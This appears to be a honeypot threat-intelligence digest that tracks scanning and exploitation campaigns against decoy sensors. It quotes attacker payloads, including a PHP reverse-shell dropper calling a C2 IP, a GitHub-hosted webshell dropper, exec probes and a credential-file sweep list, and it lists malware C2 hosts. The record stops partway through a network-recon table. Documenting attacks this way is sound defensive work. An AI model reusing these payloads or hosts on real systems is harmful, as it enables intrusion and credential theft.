№57: BLOCK ROTATION — registered operator .211 still absent, but siblings minted 8: 80.94.92.126 5 credentials across 4 sensors (8/6d, antique-UA forgeries incl. POLARIS/6.01 + Opera 7.51) + 80.94.92.65 3 on aidev/control (4/6d). №53: absent — 80.94.95.211 0 events / 0 mints this window. №44: .211 minted 2 (Chrome/5.0.358 forgery) and used 1 credential (4 ops: GetCallerIdentity ✓ + ListFoundationModels ×2); .92.65 minted control-1 (Chrome/75 Android forgery). ⟳ standing .env-variant walker, sig 6a6fdaca6a1f / SS-Net RO. №42: collector .92.65 minted 7 across aidev/control/farm under rotating mobile+desktop forgeries (17/6d); primary .211 ABSENT — first miss in five windows. №41: .211 minted 2 and used 1 credential (5th use window).
№40: no second window (0 events). №39 ⚠ NEW: Sonicwall SSL-VPN login probe, signature a2176d32b35f (first seen 10-02) — 4 IPs, one per sensor (ai-devbox-1, canary-farm-1, frantech-ts, sponge-01-ts), 52 events: /auth.html [sonicwall-portal 200] → /auth1.html → /sslvpnLogin.html → companion webshells. Lineage: №14's 45.79.218.38 ran the same 15-ev shape solo on a Linode IP. 0 mints; promote on a run with credential POSTs.
flowchart LR
A["/auth.html<br/>sonicwall-portal 200"] --> B["/auth1.html"]
B --> C["/sslvpnLogin.html"]
C --- Z["0 mints · 4 IPs · 4 sensors"]
TOKEN-CRAWLER recurring
⟳ /24 45.198.224.x. №42: FULL TEMPLATE RETURN — 9 fresh /c/<100-char token> paths on frantech-ts (first-seen) + .env directory variants on netcup (/queue/.env, /tokens/.env, /mail/.env); 0 mints. .124/.125 ran bare tarpit-module passes on 7-8 nodes. №39: scout shape; №38: 3 synchronized frantech waves.
flowchart LR
T["45.198.224.x /24<br/>forged Chrome/114"] --> C["/c/<100-char token> walk<br/>+ .env directory variants"]
C --> Z["0 mints · census only<br/>3 synchronized waves"]
BUCKLOG-KIT recurring
№61: RCE ARM ON THE REBUILT NODE — 185.177.72.49 lauterbourg-01-ts 13:55 UTC (~23 h after the node's 10-23 15:06Z rebuild): NextAuth credential POSTs (/api/auth/callback nextauth-credentials, /__nextjs_action nextjs-server-action, WebKitFormBoundary bodies) → phpunit eval-stdin md5('phpunit_rce') verify → dropper <?php $s=fsockopen("185.177.72.3",20020) — C2 port moved 20116→20020 — → langflow /api/v1/validate/code oracles {"code":"@exec(\"raise Exception('abp_29pdi6cvy9ug')\")"} + time.sleep(3) + {"code":"pass"}; /login kiteworks-login-attempt 401 (stale lure, kiteworks OFF since rebuild). Census arm sibling .9 on canary-farm-1 13:13–13:16 (19 POSTs, curl/8.7.1, 3 mints, gravitysmtp probe + /.aws/credentials walk). Kit POSTs now seek execution on lauterbourg's fresh PHP surface. №59: census arm on sponge-01-ts — 185.177.72.69 269 ev (gravitysmtp-mock-data class); light leg .7 38 ev; collector .64 absent; RCE arm silent. №58: RCE arm silent; census continues under NEW host 185.177.72.69 (canary-farm-1, 30 fams — gravitysmtp-mock-data + aws/s3 credential tree); collector .64 2 mints on farm (6/6d); light legs .7 (kiteworks walk) + .29 (curl). №57: BOTH ARMS LIVE ON SPONGE — census .70 second window (639 ev, curl/8.7.1) and RCE ARM RETURN: .50 ran 284 phpunit-eval-stdin events on sponge (its first RCE volume since №8); .64 minted 2 on ru-edge 01:57 (4/6d). №56: census arm on THREE fresh IPs — .70 sponge 1,430 ev / 1,006 paths / 31 families (curl/8.7.1, openapi + AI-credential census), .69 lauterbourg 203 ev / 11 families, .17 canary-farm-1 GravitySMTP probe + 3 MINTS; RCE arm .50 idle. №55: THREE RUNS on sponge-01-ts from 185.177.72.50 (304 ev, 40 phpunit POSTs): the №54 kit at 05:31 and 10:53 (10:53 adds a $skip config-reader variant), then a NEW capability battery 23:11–23:17 — 'AUDITOK|'.PHP_VERSION cwd walker, 'A:VERSION:exec/noexec' shell_exec check with a fixed .env path list, ID/ENV probes (getmyuid+hostname, APP_ENV/APP_KEY), four execution-mechanism tests incl. <?php system("id"); ?>, md5/sha1/time/strlen oracles, a PATHSCAN_ENV re-run, and an ENVK getenv() key dump + composer.lock reader. Fake webshell answered 200 throughout; 0 mints. №54: RCE STAGE CAPTURED — 185.177.72.50 (ipsum:3+firehol2) sponge-01-ts 05:30–05:31 EDT: 277 ev / 191 paths / 22 POSTs in 4 s — POST /_ignition/execute-solution ×9 (404) interleaved with 13× POST eval-stdin.php (fake 200): md5("6b3804159d5abceb") verify → PATHSCAN_ENV_BEGIN .env reader → config/log readers (config/database.php, bootstrap/cache/config.php, storage/logs/laravel.log, storage/framework, composer.lock, database/database.sqlite; $maxfiles=48, $budget=524288, 8-level ../ traversal) → secrets sweep $names=array(".ssh/id_rsa",".ssh/id_ed25519",".aws/credentials",".git-credentials",".npmrc",…) → exec probe $cmd="id; hostname; uname -a 2>/dev/null". Census arm .64 ran 258 ev at 12:53 EDT. 0 mints; no dropper or reverse shell captured. №52: 185.177.72.64 return — lauterbourg 258 ev / 254 paths + 2 mints on aidev (4/6d); gravitysmtp + openapi + phpunit census shape unchanged. №51: census arm on netcup — 161.178.140.14 (Amazon US, Chrome/123 forgery) 191 ev / 53 paths / 12 POSTs in 2.5 min (02:03 EDT): gravitysmtp-* census (mock-data/settings/config/miss) + phpunit-eval-stdin ×2 + webshell sweep; 0 mints. №50: census arm back — 185.177.72.75 ran frantech-ts (NEW node for the arm): 999 ev / 264 paths / 5 fams in 6 min (21:35 EDT) under an 11-UA modern rotation that included the CREDSWEEP Mozlila/5.0 typo forgery (79 ev); 15 POSTs; sibling .49 minted 1 on control (19:06 EDT). №49: .64 minted 2 on control (23:36 EDT, Firefox/5.0 forgery) and 1 credential reached AWS — the /24's SECOND mint+use after №44's .205 SES run, and this time from 4 egress IPs (see CREDENTIAL-DRAIN). .38/.75/.9/.100/.205 absent. №47 WIDEST window — NEW operator .100 ran control's largest census (1,433 table-ev / 1,637 raw / 1,008 paths / 102 fams in 20 min, curl/8.7.1) incl. control's 10 first-seen SaaS/backup paths (xai_config.yml, mailgun, brevo, sparkpost, mongodump.zip, docker-compose.yml.tar.gz, sentry, rabbitmq, prometheus/rules, internal/configprops); .38 fourth consecutive window; .205 moved to lauterbourg (244 raw ev) + 1 control mint. №46 FIFTH window — census arm STAYED on control-1: 185.177.72.38 ran 244 ev / 76 paths / 19 families 05:25–05:30 UTC (curl/8.7.1, ipsum:4+firehol2); its 1 /.env mint attempt 400-failed (Tracebit rejection, the census arm's first); .75/.64/.9/.205 absent. №45 FOURTH window — census arm moved to control-1: .75 ran 564 ev / 277 paths / 33 trap families / 1 POST 08:41–08:45 EDT (33 fams is the window's deepest single-IP family spread), .64 censused netcup (256 ev / 253 paths), .9 and .205 absent; 0 mints this window (.205's №44 mint+SES-use so far one-off). №44: census arm THIRD window, wider — .75 netcup 1,096 ev / 485 paths / 4 POSTs 18:52–18:59 EDT + .9 frantech 188 ev + .205 farm 188 ev; NEW: .205 minted 1 (curl/8.7.1) and used 2 canaries against SES (GetCallerIdentity ✓ + GetSMSAttributes/GetSendQuota denied) — first Bucklog mint, first SES link. Bucklog SARL FR /24. №42: THIRD consecutive census window — 185.177.72.75 hit netcup (460 ev / 247 paths, 02:24–02:28 UTC) AND frantech-ts (115 ev / 59 paths, 00:44–00:49), 12 webshell-probe results on netcup; 0 mints. №41: control-1 1,022 ev. Original kit (phpunit verify + reverse shell) dormant since day 7; promote on any phpunit/RCE POST.
flowchart LR
C["185.177.72.75<br/>410-path census · 35 families"] --> E[".env-variants · wp-config ·<br/>database.yml walk"]
E --> P["5 POSTs to / —<br/>tarpit-eaten, no bodies"]
P --- Z["0 mints · 2 windows<br/>netcup №40 → control №41"]
KITEWORKS-CRAWL active
№59: NEW operator 129.222.206.242 (first ever 10-21) — lauterbourg Kiteworks walk: 46 kiteworks-asset fetches + 8 kiteworks-shell + 8 kiteworks-root-redirect + 4 webshell-probe, 222 ev / 67 paths across lauterbourg + canary-farm-1 + ai-devbox-1 under a Chrome/136→143 forgery pair, 0 mints. №54: 176.123.5.6 absent — promotion trigger not met. №53: NEW candidate operator — 176.123.5.6 (Alexhost Srl MD) ran a 9-UA census with 14 kiteworks-asset fetches on lauterbourg (305 ev / 252 paths / 19 fams incl. /mifs/user/login.jsp, /actuator/env, .js.map source maps) plus 15 ev on canary-farm-1; promote on a repeat. №52: absent — 34.52.229.253, 35.205.254.119, and 45.138.12.27 all 0 ev. №50: Google-class IP 104.199.36.53 (GCP) ran the crawl shape on the kiteworks vhost (117 ev bare stripped-Chrome + 25 Chrome/128); REGISTRY-HUNT l9scan legs rode the same vhost. Dedicated Tc Datacenter / AWS classes absent. №49: THIRD window — 45.138.12.25 (Tc Datacenter LT, the same block as №43's .27) ran the full crawl on lauterbourg (143 ev, 10:14 EDT): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset bundles → webshell sweep + probe + 101-path not-handled census. Three windows, three operator classes (Google BE ×2, AWS 16.216.88.x, Tc Datacenter LT ×2). №47: IDLE — both dedicated classes absent; the 428-ev kiteworks vhost on lauterbourg carried REGISTRY-HUNT's new deeper-Jira signature b3c6048a4870 (8 runner IPs × ~40 ev: 167.172.232.142/.158.128, 167.99.182.39, 207.154.197.113, 206.81.24.227, 146.190.63.48, 157.230.19.140, 128.199.182.152) — the decoy now fingerprints the LeakIX variant at zero cost. №46: THE GOOGLE BE CLASS RETURNED with fresh IPs — 35.241.178.74 (119 ev, 14:35 UTC) + 34.156.206.32 (143 ev, 20:47 UTC, incl. kiteworks-asset bundles) ran the crawl on lauterbourg; vhost volume 554 (up from 506). The №45 AWS 16.216.88.x class absent. №45: TEMPLATE RETURN UNDER A NEW OPERATOR CLASS — a synchronized 4-IP AWS cluster (16.216.88.25/.51/.102/.126) ran the full crawl shape on lauterbourg 05:23–05:24 EDT: kiteworks-root-redirect → kiteworks-shell → 3–4 kiteworks-asset bundles each + tarpit passes (~30–41 ev per IP); the Google BE pair stayed out a SECOND window. Vhost volume 506 total (incl. generic censuses 143.244.57.86 98 not-handled, 31.56.58.43 50, and the l9scan wave). №44: FIRST ABSENCE — no kiteworks-shell passes; vhost volume 1,106 under generic env censuses only. №43 SECOND window — recurring: repeat Google BE IP 35.205.254.119 (119 ev, 04:33 EDT) + NEW operator 45.138.12.27 (Tc Datacenter LT — the l9explore block; 141 ev, 09:35 EDT) with the same shape: root-redirect → /login → 23 kiteworks-asset bundles → webshell sweep+probe + a 103-path not-handled census; bare-Chrome + Chrome/128 UAs; 34.52.229.253 absent; 0 mints. ⚠ №42: FIRST third-party traffic on lauterbourg-01-ts's Kiteworks decoy — 2 Google LLC BE IPs (34.52.229.253, 35.205.254.119) ran ~1-min passes (144/119 ev): kiteworks-root-redirect → /login [kiteworks-shell] → 23 kiteworks-asset JS bundles → webshell-sweep + webshell-probe + not-handled census. UAs: bare stripped Chrome (no platform token — the ZKILLU class) + Chrome/128. 0 mints. Watch for a second node or a return with credential paths.
flowchart LR
K["Google BE IPs ×2<br/>bare Chrome + Chrome/128"] --> R["kiteworks-root-redirect"]
R --> L["/login<br/>kiteworks-shell"]
L --> A["23 kiteworks-asset<br/>JS bundles"]
A --> W["webshell probes +<br/>census · 0 mints"]
CONFIGBUNDLE-SWARM idle
№52: absent — 0 events from the 45.154.138.x /24, 167.99.79.44, and 45.79.200.28. №50: NEW operator class — 167.99.79.44 (DigitalOcean SG) under Chrome/81: the 20-path webapp-config-bundle-js census + 7 mints across 4 sensors in 19 min (17:35–17:55 EDT; farm 3, aidev 2, control 1, ru-edge 1) — the swarm's largest single-IP mint haul. ⟳ 45.154.138.x /24 on control-1, PROMOTED №43 on a second mint window (9 mints vs №42's 3): .72/.51 Chrome/106 + .88 Chrome/39 config-bundle censuses, then a 61-s python-requests burst minting 1 each from 6 more IPs (.70/.78/.84/.95/.164/.165) at 11:30–11:31 EDT. Sibling shape: 45.79.200.28 (Akamai/Linode) ran the same 20-path webapp-config-bundle-js census on control + ru-edge and minted 1 each — same kit, second block. Promote the Linode IP on a third window.
№45 THIRD window: quote-garbage variants PERSISTED (a157d6c255ee /.envrc"] 7 IPs control+ru-edge 49 ev; c7411f59a56f /var/.env"] 7 IPs control+frantech+netcup 49 ev) and e4cbfe2556fa /var/.env ran ru-edge-only again (8 IPs, 53 ev); d045b89fe96b absent; 0 mints — tarpit absorbs all four sigs. №44 SECOND window: registered sigs ran ru-edge-only (d045b89f 6 IPs / e4cbfe25 6 IPs, 42 ev each); NEW quote-garbage variant sigs c7411f59a56f /var/.env"] (10 IPs, control+frantech+netcup) + a157d6c255ee /.envrc"] (9 IPs, +ru-edge) — ~19 residential IPs, 9–17 ev each, first seen 10-07; 0 mints. ⚠ NEW №43: distributed mobile-UA walker against tarpit-served env paths — sig d045b89fe96b /.envrc (14 IPs, 6 nodes) + e4cbfe2556fa /var/.env (7 IPs, 5 nodes), first seen 10-06, fleet-wide, ~9–13 events per IP. Rotating modern mobile forgeries (Chrome/153–156 Android/iOS, Firefox/152–156 mobile). 0 mints — the tarpit eats every walk; residential egress class like WP-LOGIN-BRUTE's pool.
flowchart LR
P["Residential mobile IPs<br/>Chrome/153-156 · FF/152-156"] --> E["/.envrc + /var/.env<br/>tarpit-module walks"]
E --> Z["0 mints · fleet-wide<br/>sigs d045b89f / e4cbfe25"]
KEYHUNT idle
№46: FIRST ABSENCE — 168.119.64.101 out, no second IP or node; its 8 canaries remain unused (check pull-window before calling them dead). ⚠ NEW №45: self-labeled UA `Mozilla/5.0 (keyhunt)` + honest `git/2.34.1` for git stages — 168.119.64.101 (Hetzner DE) ran 4 passes on ai-devbox-1 06:18–13:22 EDT (428 ev / 83 paths / 21 families): config.yaml/yml, values.yaml, secrets.yaml, conf/*, docker-compose, litellm-admin-unauthenticated, actuator-env, firebase-json, aws-credentials-file, netrc, fake-git, llm-endpoint-models-list, tarpit rides. 8 mints at /.env (8/6d, all this window, 0 AWS use). Owns aidev's app-config-yaml 14.8× and config-json 3.1× spikes and 468 of the fapthropic-vhost 737 events. Single IP, single node — watch for a second IP/node.
flowchart LR
K["168.119.64.101 Hetzner<br/>UA Mozilla/5.0 (keyhunt)"] --> C["config.yaml · values.yaml ·<br/>secrets.yaml · litellm · actuator"]
C --> G["fake-git walk<br/>git/2.34.1 honest"]
G --> MINT["8× /.env mints<br/>ai-devbox-1 · 0 AWS use"]
LLM-ENDPOINT-PROBE idle
№54: still no third operator — 10 background ollama and /v1 events fleet-wide. №53: absent — no third operator; both prior clients quiet. №52: SECOND OPERATOR + SECOND NODE — 52.250.210.67 (Azure) on sponge-01-ts 09:47 EDT: 6 model-list probes (only /v1/models [llm-endpoint-models-list] 200) then 90 POST /v1/chat/completions in 11 s, all 200, 142–234 B bodies not captured; honest UA Python/3.12 aiohttp/3.14.5. №44: NO SECOND WINDOW — 104.168.115.214 absent, 0 llm-endpoint events; single window on record. ⚠ NEW №43: 104.168.115.214, honest UA AutoGenX-Engine/9.1 — 48 POSTs against lauterbourg's LLM decoys over 18 h: /api/tags → 10× /api/chat (Ollama) 09:06–10:22 EDT, then 4× /v1/models + 33× /v1/chat/completions 13:17–03:01. All 200; request bodies not captured. This IP owns the llm-endpoint-openai-chat 16.5× spike.
flowchart LR
T["/api/tags<br/>ollama-tags 200"] --> C["10× /api/chat<br/>ollama-chat"]
C --> M["4× /v1/models + 33×<br/>/v1/chat/completions"]
M --- Z["AutoGenX-Engine/9.1<br/>1 IP · 18 h · all 200"]
MEVSPACE-GITWALK idle
№52: absent — the window's git/2.40.0 144-ev walks belong to GIT-VAULT's pair; no env-named-refs template observed. №51: FIFTH operator — 209.50.174.90 ru-edge 144 ev / 142 paths in 6.3 s (02:33 EDT) under an honest git/2.40.0 UA (template's first git-client UA; prior operators used stale Firefox/78); owns 143 of ru-edge's 191 fake-git events. №50: REVIVED under two fresh DigitalOcean IPs — 159.223.234.149 (NL) ran 143 fake-git on ru-edge in 2.5 s (17:48 EDT); 178.62.42.21 (UK) ran 143 on control in 3 s (00:56 EDT 10-13); stale Firefox/78 UA intact; wordlist EXPANDED with env-named refs (first-seen /.git/refs/heads/{stg,sandbox,nightly,stage,demo,canary}, /.git/refs/remotes/origin/{stable,beta}, /.git/logs/refs/…/{stage,demo,bugfix,testing}); 0 mints. №45: first miss after the №44 return — no fake-git walk cluster in the digest cluster table (gen-3 Hetzner IPv6 2a01:4f9:c015:3f79::1 absent). №44: THIRD-GENERATION Hetzner IPv6 operator — 2a01:4f9:c015:3f79::1 (new /16; prior: 2a01:4f8:141:225b::2 №10, 2a01:4f8:161:34c1::2 №16) walked canary-farm-1: 144 ev, 143 fake-git + 1 gitignore, env-named refs families (refs/wip/wtree/, refs/wip/index/, logs/refs/{heads,tags}/, packed-refs, FETCH_HEAD). 0 mints. Prior: №43 first miss after three 3xK-Tech windows; №39 fleet-record single-IP 14,787-ev walk by 169.40.142.2 (Zkillu).
flowchart LR
H["Hetzner IPv6 (gen 3)<br/>2a01:4f9:c015:3f79::1"] --> W["/.git internals walk<br/>env-named refs · fake-git 143"]
W --- Z["0 mints · canary-farm-1<br/>one window on record"]
SI-CENSUS active
№64: full-fleet light pass — 102.220.163.241 touched ALL 8 sensors (13 ev) and minted 3 (aidev/farm/control, Go-http-client/1.1), 8/6d. №63: NEW /24 — 102.220.163.241 (same ASN VPS Dedicated LLC SI) ran the 512-path directory fanout (/vendor/.env, /cronlab/.env, /core/Datavase/.env…) on ru-edge + aidev in one window (2,658 + 517 ev, 39+34 fams, forged Chrome/126), 5 mints; 93.152.221.96 (TechTies) ran the identical sequence across 7 sensors (8 mints, 12/6d) — shared wordlist across two unrelated operators. №53: 102.220.161.x still silent, but same-org block 102.220.163.155 ran CREDSWEEP's fanout template on 3 nodes (see CREDSWEEP) — the org operates multiple census templates. №51: FIRST ABSENCE since the №50 return — no .102/.87/.139 run this window; the block's 33 held credentials stay hostile-held inventory. №50: PROMOTION MET — 102.220.161.139 returned on 4 sensors (1,518 ev: control 845, aidev 348, ru-edge 321, farm light) 09:24–09:59 EDT under a ~10-UA rotation that now includes ClaudeBot/GPTBot/Googlebot forgeries; .env fanout + fake-git walk + 6 mints (control 3, ru-edge 2, aidev 1). The 27 held ru-edge credentials plus these 6 stay hostile-held inventory; 0 observed AWS use. №46: SECOND consecutive idle window (0 events); the 27 held ru-edge credentials remain unused. №45: CONTRACTED to 4 events (.87 only, 3 sensors) — no census, no mints; the block's 27 held ru-edge credentials (№44) remain hostile-held inventory with zero observed AWS use. ⚠ NEW №44 — PROMOTED on the second window: 102.220.161.x (VPS Dedicated LLC SI). .102 ran ru-edge's largest census of the window (2,797 ev / 55 fams / 1,503 paths, 10:39–11:47 EDT) with Host: 127.0.0.1 spoofed on 2,793 requests (the №13 origin-spoof family) and minted a fleet-record 27 canaries in 17 minutes under a Chrome/126 forgery. .87 censused netcup (722 ev, /.hgignore + Zend config set) and ai-devbox-1 (599 ev, 2 mints) under 5 rotating UAs. Lineage: .102's 144-path fake-git walk on aidev in №43; .139 collected №35–№36. Watch: 27 held credentials; third window.
flowchart LR
S["102.220.161.102<br/>Host: 127.0.0.1 spoof ×2,793"] --> W["1,503-path census<br/>55 families · ru-edge-1"]
W --> MINT["27 mints in 17 min<br/>fleet single-IP record"]
B["102.220.161.87"] --> C["netcup + aidev censuses<br/>2 mints"]
PROTON-CENSUS idle
№52: FIRST ABSENCE — 159.26.110.149 0 ev; its 2 held credentials remain the use-side watch. ⚠ NEW №51 — 159.26.110.149 (Proton AG PL, same /24 as №14's 159.26.110.179, the fleet's first credential user) ran the census-and-mint playbook: control pass 163 ev / 96 paths / 48 fams in 3.5 s (13:14:07 EDT, curl/8.22.0) with 2 mints issued at /.env; ru-edge leg 165 ev over 72 min (Go-http-client/1.1 + curl/8.22.0) with AI-config families (claude-config, claude-credentials, claude-history, codex-config-toml) plus aws/gcp/kube/terraform census; the ru-edge mint failed on a connection reset. 0 AWS use in window — in №14 this /24's first use came hours after minting; treat both held credentials as live inventory.
flowchart LR
P["159.26.110.149<br/>Proton AG PL · curl/8.22.0"] --> C["96-path AI/config census<br/>control 3.5 s · ru-edge 72 min"]
C --> M["2 mints control /.env<br/>ru-edge mint failed"]
M --> W["AWS-use watch<br/>/24 used a canary in №14"]
EMPERORS-KIT recurring
№57: SECOND WINDOW, ESCALATED — env-production census (aidev 76 + farm 38 events — owns aidev's inf× spike), config-json + phpinfo + yii2 legs, 11 phpmyadmin GETs, FIRST MINTS (2 on control, Firefox/77 forgery). №56: RETURNED — 150.241.66.127 ran 80 ev on canary-farm-1 + ai-devbox-1 + control-1 with 22 phpmyadmin-login GETs across 11 admin paths; 5 UAs incl. python-requests/2.28.1. №52: absent — second consecutive idle window; repo-liveness check still not run. №51: SECOND consecutive window, FULL KIT re-observed — 150.241.66.127 on 3 nodes again (farm 03:56, control 04:20, aidev 04:23 EDT; ~40 ev each): adminer prod_rw POSTs with six fresh 22-char passwords + phpunit verify <?php echo "EmperorsTools";?> + GitHub dropper copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php',…). 0 mints. №50: RETURN after four idle windows — original operator 150.241.66.127 (Kyonix US) back on control (22 phpmyadmin-login, 04:24–05:47 EDT) + farm (22, 04:00–04:16) under Chrome/91; 0 mints; the phpunit verify and GitHub dropper were not re-observed this window. ⚠ NEW №46: self-labeled webshell EmperorsTools — 150.241.66.127 (Kyonix Networks US) ran the kit on THREE sensors in one 3-h span (farm 15:48–18:31 UTC, control 16:48–19:00, aidev 17:00–18:54; 244 ev / 38 paths total): tarpit cycling → phpMyAdmin login POSTs (phpmyadmin-login ×107 across the 3 nodes) → /admin/adminer.php POSTs auth[username]=prod_rw + a fresh 22-char password per POST (the INFOCREST password shape; 4 captured verbatim) → phpunit verify <?php echo "EmperorsTools";?> → dropper POST copy('https://raw.githubusercontent.com/president32/uploader2/main/emperor.php','emperorstools.php') → config census (env-production, whm-login, app-config-php, fake-git, symfony-profiler). 6 mints (2 per sensor; 7/6d). Owns the control-1 phpmyadmin-login 8.9× spike. Watch for AWS use and a second operator.
flowchart LR
T["Tarpit cycling"] --> PMA["phpMyAdmin POSTs ×107<br/>3 sensors"]
PMA --> ADM["adminer prod_rw +<br/>22-char pw per POST"]
ADM --> V["phpunit verify<br/>EmperorsTools echo"]
V --> D["dropper: president32/uploader2<br/>emperor.php → emperorstools.php"]
D --> MINT["6 mints · 2 per sensor<br/>0 AWS use at close"]
HONEYPOT-C2 active
ssh/telnet honeypot post-compromise C2 (frantech-ts only — not the flux trap surface, not a fleet number). Inventory from the raw sources: 17 hosts / 64 endpoints / 12 payload sha256, 09-18 → 10-26. Families: jklarm (Mirai selfrep, 11 arch) at 176.65.139.40 and mirror 185.228.72.128; zerobot 176.65.139.157/telnet2.sh; leviathan 176.65.132.7:8889/lv.sh; kla.sh 160.119.66.206; satan/bins 31.77.227.121; arch-adaptive $U + @reboot crontab 83.168.69.95; main_* ELF quartet 152.42.195.115; proxy-updater 176.65.134.121 + 37.148.17.37. Host != actor: 176.65.139.40 is also an operator (1,224 telnet auths).
flowchart LR
S["telnet/ssh shell<br/>frantech-ts only"] --> D["dropper one-liner<br/>wget|curl|tftp|ftpget"]
D --> J["jklarm ×11 arch<br/>176.65.139.40 · 185.228.72.128"]
D --> Z["zerobot<br/>176.65.139.157"]
D --> L["leviathan lv.sh<br/>176.65.132.7:8889"]
D --> K["kla.sh · satan · main_*<br/>160.119.66.206 · 31.77.227.121 · 152.42.195.115"]
J --> R["selfrep / crontab @reboot<br/>persistence, then rescan"]
Mint → use sankey — sensor → minted → used-in-AWS / unused (all-time)
Network-layer recon — inbound sweeps on the fleet's public IPs (Arkime); not visible to the HTTP traps
Arkime window 2026-10-26 07:34:00 → 2026-10-27 07:34:20 UTC · 129,501 inbound sessions on 8 fleet public IPs. Identity is the client tool (fingerprint), never the source IP — sweep operators rotate addresses and keep the tool. Last column = source IPs per day.
fingerprint
campaign
sessions
src IPs
networks
countries
ports
src IPs/day
f555226df196…
LIBSSH-MASSSWEEP dispersed sweep (one port, many networks)